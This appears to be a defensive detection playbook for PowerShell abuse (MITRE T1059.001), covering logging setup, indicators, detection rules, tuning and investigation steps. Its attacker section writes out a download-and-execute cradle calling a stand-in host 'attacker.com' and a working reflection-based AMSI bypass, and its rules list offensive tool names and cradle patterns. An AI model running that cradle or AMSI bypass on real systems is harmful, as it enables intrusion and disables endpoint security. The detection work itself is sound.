| Technique | PowerShell (T1059.001) |
| Tactic | Execution |
| Platforms | Windows |
Overview
PowerShell (T1059.001) is a built-in Windows scripting environment that adversaries abuse to execute commands, download payloads, run code entirely in memory, and interact with the operating system — all using a trusted, signed Microsoft binary. Because PowerShell has deep access to .NET, WMI, the Windows API, and remote systems, attackers use it for nearly every phase of an intrusion: initial execution, credential dumping, lateral movement, and establishing persistence.
PowerShell abuse is one of the most common techniques observed in real-world intrusions, used by ransomware groups, nation-state actors, and commodity malware alike. Because it is a legitimate administrative tool, it generates significant noise and is easy to overlook — making high-fidelity, well-tuned detection essential for every security operations team protecting Windows environments.
Attacker Perspective
Attackers treat PowerShell as a Swiss Army knife for post-compromise activity because it is always present, highly capable, and — without proper logging — largely invisible to defenders.
- In-memory payload execution: Using
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')orInvoke-Expressionto download and execute malicious scripts without writing anything to disk, bypassing file-based AV. - Offensive framework staging: Tools like Empire and PowerSploit use encoded commands (
powershell.exe -EncodedCommand <base64>) to launch stagers that establish C2 channels and provide post-exploitation capabilities including Mimikatz-style credential harvesting viaInvoke-Mimikatz. - Living-off-the-land execution: Abusing built-in cmdlets like
Start-Process,Invoke-Command, andEnter-PSSessionto execute code on remote hosts using legitimate Windows remoting (WinRM), making malicious activity blend with admin traffic. - AMSI and execution policy bypass: Techniques such as setting
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)or launching with-ExecutionPolicy Bypass -WindowStyle Hidden -NoProfileflags to evade endpoint security controls and avoid leaving visible windows.
PowerShell is attractive to attackers precisely because it offers the power of a full programming language within a trusted, signed binary that most organizations cannot simply block without disrupting legitimate operations.
Detection Strategy
Required Telemetry
- PowerShell Script Block Logging (Event ID 4104): Captures the full content of every PowerShell script block executed, including decoded/deobfuscated content. Enable via GPO or registry:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging→ setEnableScriptBlockLogging = 1(DWORD). Events appear inMicrosoft-Windows-PowerShell/Operationallog. This is your highest-value telemetry source — without it you only see command-line arguments, which are easily obfuscated. - PowerShell Module Logging (Event ID 4103): Captures pipeline execution details, input/output of cmdlets, and module loads. Enable via GPO:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging→EnableModuleLogging = 1; setModuleNames = *to capture all modules. Generates high volume but captures cmdlet-level activity. - PowerShell Transcription Logging: Writes a full transcript of each session to a file on disk. Enable via GPO:
HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription→EnableTranscripting = 1. SetOutputDirectoryto a protected central share. Useful for forensics but not SIEM-native. - Windows Security Event Log — Process Creation (Event ID 4688): Records every process launch including full command-line arguments. Requires enabling “Audit Process Creation” via GPO under
Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking. Also requires enabling command-line auditing:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit→ProcessCreationIncludeCmdLine_Enabled = 1. - Sysmon Event ID 1 (Process Create): Provides richer process telemetry than Event ID 4688, including parent process GUID, hashes, and full command line. Deploy Sysmon with a community config (e.g., SwiftOnSecurity or Olaf Hartong’s modular config). Strongly recommended as a supplement or replacement for 4688.
- Sysmon Event ID 3 (Network Connection): Captures outbound network connections by process. Critical for detecting PowerShell establishing C2 or downloading payloads. Requires Sysmon with network monitoring enabled in the config.
- Sysmon Event ID 7 (Image Load): Captures DLL loads. Useful for detecting PowerShell without
powershell.exe— look forSystem.Management.Automation.dllloaded by unexpected processes. - Windows Security Event Log — PowerShell Remoting (Event ID 4624 / 4648): Logon events showing WinRM-based lateral movement. Ensure “Audit Logon” and “Audit Other Logon/Logoff Events” are enabled in Advanced Audit Policy.
- DNS Query Logs: Capture DNS lookups by endpoint (via Sysmon Event ID 22 or DNS server logs) to identify domains contacted by PowerShell for C2 or payload download.
- Windows Defender / EDR Telemetry: If available, EDR platforms (CrowdStrike, Defender for Endpoint, SentinelOne) provide AMSI telemetry and behavioral detections that complement log-based detection. AMSI events appear in the
Microsoft-Windows-AMSI/Operationallog.
Key Indicators
- Suspicious parent-child process relationships: In Sysmon Event ID 1 or Event ID 4688, check
ParentImage/ParentProcessName. PowerShell launched bywinword.exe,excel.exe,outlook.exe,mshta.exe,wscript.exe,cscript.exe,regsvr32.exe, orrundll32.exeis highly suspicious and almost never legitimate. - Encoded command flag: In process command-line fields (
CommandLinein Sysmon,Process Command Linein 4688,ScriptBlockTextin 4104), look for flags:-EncodedCommand,-enc,-ec. These are used to hide the actual command content from casual inspection. - Execution policy bypass flags: Look for
-ExecutionPolicy Bypass,-Exec Bypass,-NoProfile,-NonInteractive,-WindowStyle Hiddenin the command line. Combinations of these flags are a strong indicator of attacker activity. - Download cradles: In Event ID 4104 Script Block text, look for patterns:
Net.WebClient,DownloadString,DownloadFile,Invoke-WebRequest,Start-BitsTransfer,WebClient,HttpClient, or URI schemes likehttp://andhttps://combined withInvoke-ExpressionorIEX. - AMSI bypass attempts: In Event ID 4104, look for strings:
amsiInitFailed,AmsiUtils,amsiContext,Bypasscombined with reflection (GetType,GetField,SetValue). These indicate the attacker is trying to disable security scanning. - Known offensive tool signatures: In Event ID 4104 Script Block text, look for function names and strings from common frameworks:
Invoke-Mimikatz,Invoke-ReflectivePEInjection,PowerSploit,Get-GPPPassword,Invoke-Shellcode,Empire,PoshC2,Invoke-TokenManipulation. - Unexpected network connections from PowerShell: In Sysmon Event ID 3, check
Image=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exemaking outbound connections on ports80,443,8080,8443, or any non-standard port, especially to external IPs or newly registered domains. - PowerShell running from unusual locations:
Imagepath is notC:\Windows\System32\WindowsPowerShell\orC:\Windows\SysWOW64\WindowsPowerShell\— attackers sometimes copypowershell.exeto temp directories to evade path-based rules. - System.Management.Automation.dll loaded by non-PowerShell processes: In Sysmon Event ID 7,
ImageLoadedcontainsSystem.Management.AutomationandImageis notpowershell.exeorpowershell_ise.exe— this indicates PowerShell execution without the standard binary (PowerPick, etc.).
Detection Logic
Rule 1 — Broad: PowerShell Launched with Suspicious Execution Flags
IF process_name = "powershell.exe" AND command_line MATCHES ("-enc"|"-EncodedCommand"|"-ExecutionPolicy Bypass"|"-WindowStyle Hidden"|"-NonInteractive") AND NOT parent_process IN ["svchost.exe","services.exe","msiexec.exe","ccmexec.exe"] THEN alert(priority=MEDIUM)
This catches the most common attacker patterns where standard flags are used to hide execution. Expected volume is moderate-to-high in most environments due to legitimate admin tooling — requires tuning against known-good software deployment and RMM tools. Use as a triage feed, not a high-fidelity alert on its own.
Rule 2 — Medium: PowerShell Download Cradle Detected via Script Block Logging
IF event_id = "4104" AND script_block_text MATCHES ("Net.WebClient"|"DownloadString"|"DownloadFile"|"Invoke-WebRequest"|"Start-BitsTransfer") AND script_block_text MATCHES ("IEX"|"Invoke-Expression") THEN alert(priority=HIGH)
This targets the classic in-memory download-and-execute pattern. Combining a download method with immediate execution is almost exclusively malicious. Expected volume is low in environments with Script Block Logging enabled. Very few legitimate scripts combine a download cradle with IEX in a single block.
Rule 3 — Medium: PowerShell Spawned by Office or Script Interpreter
IF process_name = "powershell.exe" AND parent_process_name IN ("winword.exe","excel.exe","outlook.exe","powerpnt.exe","mshta.exe","wscript.exe","cscript.exe","regsvr32.exe","rundll32.exe") THEN alert(priority=HIGH)
This catches macro-based and script-based PowerShell execution, a hallmark of phishing and malicious document attacks. Expected volume should be very low — nearly any match warrants immediate investigation. Tune only if a specific legitimate application is identified as a cause.
Rule 4 — Narrow: AMSI Bypass Attempt via Script Block Logging
IF event_id = "4104" AND script_block_text MATCHES ("amsiInitFailed"|"AmsiUtils"|"amsiContext") AND script_block_text MATCHES ("GetField"|"SetValue"|"NonPublic") THEN alert(priority=CRITICAL)
This is a near-zero false positive rule. Legitimate software does not attempt to disable AMSI via reflection. Any match should be treated as confirmed malicious activity and escalated immediately without waiting for further triage.
Tuning Guidance
- Software deployment tools (SCCM/ConfigMgr, Intune): These frequently invoke PowerShell with
-ExecutionPolicy Bypassand-NonInteractiveflags. Identify the parent process (typicallyccmexec.exeorCcmSetup.exe) and the service account used, then add exclusions:parent_process = "ccmexec.exe"oruser IN ["sccm_service_account"]. - Remote Monitoring and Management (RMM) tools: Products like ConnectWise, Kaseya, Datto, and NinjaRMM frequently execute PowerShell scripts remotely. Identify their agent process names (e.g.,
ScreenConnect.ClientService.exe) and exclude by parent process and known script hash or path prefix such asscript_path STARTSWITH "C:\ProgramData\ConnectWise\". - Security and monitoring tools: EDR agents, vulnerability scanners (Tenable, Qualys), and backup agents may run PowerShell for enumeration. Identify their process names and service accounts and add targeted exclusions rather than broad suppression.
- Administrative automation scripts: Legitimate IT automation (patch management, user provisioning) often uses encoded commands for scheduling. Build a baseline of known-good encoded commands by decoding Base64 content from Event ID 4104 and allowlisting specific script hashes or path+user combinations.
- PowerShell ISE and developer workstations: Developers and engineers may run complex scripts legitimately. Scope exclusions by hostname group (e.g.,
hostname IN developer_workstation_list) rather than blanking entire rules, and keep alerting on high-precision rules like AMSI bypass regardless. - Rule 1 volume reduction: If Rule 1 produces excessive volume, add a second condition requiring at least two suspicious flags to be present simultaneously (e.g., both
-WindowStyle HiddenAND-EncodedCommand) to increase precision before broader tuning.
When the Alert Fires: Investigation Steps
- Verify the alert and confirm the event is real. Pull the raw event from your SIEM using the alert’s event ID, host name, and timestamp. Confirm the event exists in the source log (Sysmon Event ID 1 or Windows Event ID 4688 for process creation; Event ID 4104 for script block). Verify the event is not a parsing artifact by checking field values are fully populated — specifically
CommandLine,ParentImage,User, andProcessGuid. If using Sysmon, correlate theProcessGuidto confirm it is unique and not a duplicate/replayed event. - Identify the affected host and user account. Note the
ComputerName/HostnameandUserfields from the alert event. Query Active Directory (or your identity provider) to determine: Is this a standard user, a service account, or a privileged admin account? Is the account a member of Domain Admins, Local Admins, or other sensitive groups? Does the host belong to a sensitive segment (domain controller, server, finance workstation)? An admin account or a sensitive host raises the severity of the investigation immediately. Check recent authentication events (Event ID 4624/4648) for this user on this host to determine if the logon session itself is expected. - Pull the full command line and parent process chain. Query Sysmon Event ID 1 (or Event ID 4688) filtered by the
ProcessGuidfrom the alert, then walk up the process tree usingParentProcessGuidvalues. Build the full chain from the root process to the PowerShell invocation. In parallel, retrieve the Event ID 4104 Script Block log entries for the same host and time window to get the decoded script content — this reveals what the PowerShell actually did regardless of obfuscation. Decode any Base64 from-EncodedCommandvalues manually using:[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('...')). Document the complete chain and script content before proceeding. - Check for files written to disk and network connections made. Query Sysmon Event ID 11 (File Create) filtered by the PowerShell
ProcessGuidand the same time window to identify any files dropped. Pay attention to paths like%TEMP%,%APPDATA%,C:\Users\Public\, andC:\ProgramData\. Query Sysmon Event ID 3 (Network Connection) for the sameProcessGuidto identify any outbound connections — record destination IP, port, and hostname. Query DNS logs (Sysmon Event ID 22 or DNS server logs) for any DNS queries made by the host in the same time window. Look up any external IPs and domains in threat intelligence (VirusTotal, Shodan, your TIP) to determine if they are known malicious infrastructure. - Look for lateral movement originating from this host. Query Windows Security Event ID 4648 (Explicit Credential Logon) and Event ID 4624 (Successful Logon with logon type 3 — Network) on other hosts where the source address matches the affected host’s IP, within a ±2 hour window of the alert. Query Sysmon Event ID 3 on the affected host for connections to other internal systems on administrative ports:
445(SMB),5985/5986(WinRM),3389(RDP),135/139(RPC). If PowerShell remoting was used, look for Event ID 4103/4104 entries on remote hosts showing connections from the source host via WinRM. Any lateral movement significantly expands scope and should trigger escalation. - Search for persistence mechanisms established by PowerShell. Query Sysmon Event ID 13 (Registry Value Set) for the affected host in the time window, filtered for common persistence keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run,HKLM\Software\Microsoft\Windows\CurrentVersion\Run, andHKLM\System\CurrentControlSet\Services. Query Sysmon Event ID 1 for child processes of PowerShell that created scheduled tasks: look forschtasks.exeorat.exeas children. Query Windows Security Event ID 4698 (Scheduled Task Created) and Event ID 7045 (New Service Installed) on the affected host for the investigation time window. CheckHKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogonfor unexpected entries (Userinit, Shell) that could indicate logon persistence. - Determine scope — hunt across the fleet for the same IOCs. Take the highest-confidence indicators from your investigation: the decoded script content (or a unique substring), the C2 IP or domain, the dropped file hash, or the specific command-line pattern. Build a fleet-wide query in your SIEM across all endpoints. For example, query all Event ID 4104 logs for the specific function name or string found in the script block, or query all Event ID 3 records for connections to the identified C2 IP. If your EDR allows fleet-wide hash or IOC search, run it in parallel. Document every host that returns a positive match — these all need to be investigated or contained.
- Escalation decision — confirmed incident vs. likely benign. Treat the event as a confirmed incident requiring escalation if any of the following are true: the script block content contains offensive tool signatures, AMSI bypass attempts, or encoded download cradles with IEX; network connections were made to external or known-malicious IPs; files were written to disk and match known malware hashes; persistence mechanisms were established; or lateral movement to other hosts is confirmed. Treat as likely benign requiring closure with documentation only if: the parent process and user account are definitively tied to a known legitimate tool (confirmed with the asset owner), the command line and script content are fully understood and non-malicious, no network connections to unexpected destinations occurred, and no persistence or lateral movement is observed. Do not close an alert solely because you cannot find additional indicators — an absence of evidence is not evidence of absence, especially if Script Block Logging was not capturing at time of execution.
Response Playbook
Stay Ahead
Get daily threat intelligence and detection playbooks.
Free. No account. No email. Follow in Feedly, Inoreader, or any RSS reader.